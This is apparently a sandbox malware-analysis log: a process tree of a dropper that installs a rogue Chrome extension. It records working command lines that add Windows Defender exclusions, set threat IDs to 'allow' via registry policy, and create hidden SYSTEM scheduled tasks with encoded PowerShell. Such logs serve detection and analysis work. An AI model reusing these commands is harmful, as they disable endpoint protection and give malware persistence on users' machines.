PID 1336 wrote to memory of 4420	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4420	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4420	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 1556	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 1556	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 1556	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4100	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4100	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4100	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2920	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2920	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2920	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 5104	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 5104	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 5104	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2032	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2032	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2032	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4440	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4440	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 4440	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 5068	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 5068	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 5068	1336	powershell.exe	reg.exe
PID 1336 wrote to memory of 2192	1336	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285.exe
"C:\Users\Admin\AppData\Local\Temp\195be17b5e8a2512b4fe95fe601f78744851ae6925e3b70ec89890ede8a17285.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1424

C:\Users\Admin\AppData\Local\Temp\7zS8F9D.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:364

C:\Users\Admin\AppData\Local\Temp\7zS91C0.tmp\Install.exe
.\Install.exe /xTCdidQ "385137" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4824

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:1192

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4432

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3164

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bkulktKnsMWheyTcHH" /SC once /ST 05:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS91C0.tmp\Install.exe\" 3T /VdidsGpG 385137 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 1028
4⤵
- Program crash
PID:4052

C:\Users\Admin\AppData\Local\Temp\7zS91C0.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS91C0.tmp\Install.exe 3T /VdidsGpG 385137 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:4908

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:3600

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:1228

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:2456

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:4420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:1556

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:4100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:2920

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:5104

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:2032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4440

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:5068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:2192

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:4460

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:2548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:4592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4232

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:5032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4604

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:3408

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:4212

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:1304

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:2648

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:4480

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:984

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:4064

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:4128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DLOGhsaIU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DLOGhsaIU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JoukbHKXhnJgygRymeR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JoukbHKXhnJgygRymeR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LXFcSqNRPdfiC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LXFcSqNRPdfiC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bmRmotOcEZUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bmRmotOcEZUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dqJSprjCYNjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dqJSprjCYNjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\lKoxjEGWaXzMwnVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\lKoxjEGWaXzMwnVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jEUQWIQvPKxTkmGv\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jEUQWIQvPKxTkmGv\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4056

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DLOGhsaIU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1588

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DLOGhsaIU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DLOGhsaIU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4344

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JoukbHKXhnJgygRymeR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4972

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JoukbHKXhnJgygRymeR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LXFcSqNRPdfiC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LXFcSqNRPdfiC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2812

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bmRmotOcEZUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4496

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bmRmotOcEZUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3356

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dqJSprjCYNjU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4528

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dqJSprjCYNjU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2124

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\lKoxjEGWaXzMwnVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\lKoxjEGWaXzMwnVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:3056

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3164

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5060

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA /t REG_DWORD /d 0 /reg:32
3⤵
PID:2248

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA /t REG_DWORD /d 0 /reg:64
3⤵
PID:212

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jEUQWIQvPKxTkmGv /t REG_DWORD /d 0 /reg:32
3⤵
PID:2028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jEUQWIQvPKxTkmGv /t REG_DWORD /d 0 /reg:64
3⤵
PID:1332

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ggLqYJKUT" /SC once /ST 04:21:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Scheduled Task/Job: Scheduled Task
PID:1528

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ggLqYJKUT"
2⤵
PID:1112

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ggLqYJKUT"
2⤵
PID:2856

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "QGKRfysOUInPGCvKQ" /SC once /ST 00:44:03 /RU "SYSTEM" /TR "\"C:\Windows\Temp\jEUQWIQvPKxTkmGv\izLXyiINtDhbyEF\wuOgYFZ.exe\" rx /PYRpdidun 385137 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4212

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "QGKRfysOUInPGCvKQ"
2⤵
PID:5112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 812
2⤵
- Program crash
PID:1796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4560

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1584

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3820

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5076

C:\Windows\Temp\jEUQWIQvPKxTkmGv\izLXyiINtDhbyEF\wuOgYFZ.exe
C:\Windows\Temp\jEUQWIQvPKxTkmGv\izLXyiINtDhbyEF\wuOgYFZ.exe rx /PYRpdidun 385137 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2272

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bkulktKnsMWheyTcHH"
2⤵
PID:5028

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:4488

C:\Windows\SysWOW64\forfiles.exe
